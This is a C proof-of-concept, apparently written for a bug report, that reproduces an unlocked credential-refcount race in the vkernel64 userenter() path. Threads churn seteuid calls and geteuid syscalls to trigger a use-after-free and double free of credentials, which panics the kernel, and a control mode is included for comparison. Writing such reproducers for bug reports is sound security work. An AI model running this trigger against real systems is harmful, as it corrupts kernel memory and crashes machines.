DF-5337 / df5337.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-5337 — vkernel64 userenter() ucred cache race PoC. * * Bug: sys/platform/vkernel64/x86_64/trap.c:167-173 userenter() does * if (curtd->td_ucred != curp->p_ucred) { * ncred = crhold(curp->p_ucred); <-- NO p_spin (pc64 has it) * ... * } * racing cratom_proc() (kern/kern_prot.c:1166-1193) which swaps * p_ucred under p->p_spin and then crfree()s the old cred -- kfree(M_CRED) * when it hits ref 0. A thread hitting the window between the second * load of curp->p_ucred and crhold()'s atomic_add does an atomic_add on a * kfree'd cred -> refcount resurrection -> double free / premature free * of a live cred -> vkernel kernel heap corruption * (panic "Freeing already free credential!" is the direct signature). * * Trigger (in-vkernel userland, needs no privilege beyond ability to * change creds -- here run as root inside the vkernel; every thread both * churns creds (seteuid 1<->0, each call -> cratom_proc -> swap+crfree) * and returns through userenter()'s racy path (geteuid syscall). Run on * an SMP vkernel (-n 2). * * Modes: * df5337 corrupt [threads] [seconds] churn+victim (the race) * df5337 control [threads] [seconds] churn only, no victim syscalls * (safe: existing p_spin locking) * * Success criterion: "corrupt" crashes/panics the vkernel (typically * "Freeing already free credential!") while "control" survives. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <pthread.h> static volatile int stop; static unsigned long total_ops; /* * churn+victim. seteuid(1) succeeds whenever euid is currently 0 * (root check) and fails harmlessly otherwise; seteuid(0) ALWAYS * succeeds (0 == ruid and 0 == svuid) and runs cratom_proc() whenever * euid was 1. So the pair churns creds under any interleaving, and no * thread ever exits. Each seteuid runs cratom_proc() (p_ucred swap + * crfree of the old cred); each geteuid() returns through userenter()'s * UNLOCKED crhold cache. Threads on separate vkernel CPUs race each * other's swap+free. */ static void * racer(void *arg) { unsigned long n = 0; while (!stop) { if (seteuid(1) == 0) n++; if (seteuid(0) == 0) n++; (void)geteuid(); n++; if ((n & 0xFFFF) == 0) __sync_fetch_and_add(&total_ops, 65536); } __sync_fetch_and_add(&total_ops, n & 0xFFFF); return (NULL); } static void * churner_only(void *arg) { unsigned long n = 0; while (!stop) { if (seteuid(1) == 0) n++; if (seteuid(0) == 0) n++; if ((n & 0xFFFF) == 0) __sync_fetch_and_add(&total_ops, 65536); } __sync_fetch_and_add(&total_ops, n & 0xFFFF); return (NULL); } int main(int ac, char **av) { const char *mode = (ac > 1) ? av[1] : "corrupt"; int nthreads = (ac > 2) ? atoi(av[2]) : 4; int secs = (ac > 3) ? atoi(av[3]) : 120; pthread_t t[32]; int i; if (nthreads > 32) nthreads = 32; printf("DF5337: mode=%s threads=%d secs=%d uid=%d\n", mode, nthreads, secs, getuid()); fflush(stdout); for (i = 0; i < nthreads; ++i) { void *(*fn)(void *) = strcmp(mode, "control") ? racer : churner_only; if (pthread_create(&t[i], NULL, fn, NULL) != 0) { perror("pthread_create"); return 1; } } for (i = 0; i < secs && !stop; ++i) { sleep(1); if (i % 10 == 9) { printf("DF5337: t=%ds ops=%lu\n", i + 1, total_ops); fflush(stdout); } } stop = 1; for (i = 0; i < nthreads; ++i) pthread_join(t[i], NULL); printf("DF5337: DONE ops=%lu (vkernel survived this run)\n", total_ops); fflush(stdout); return (0); } |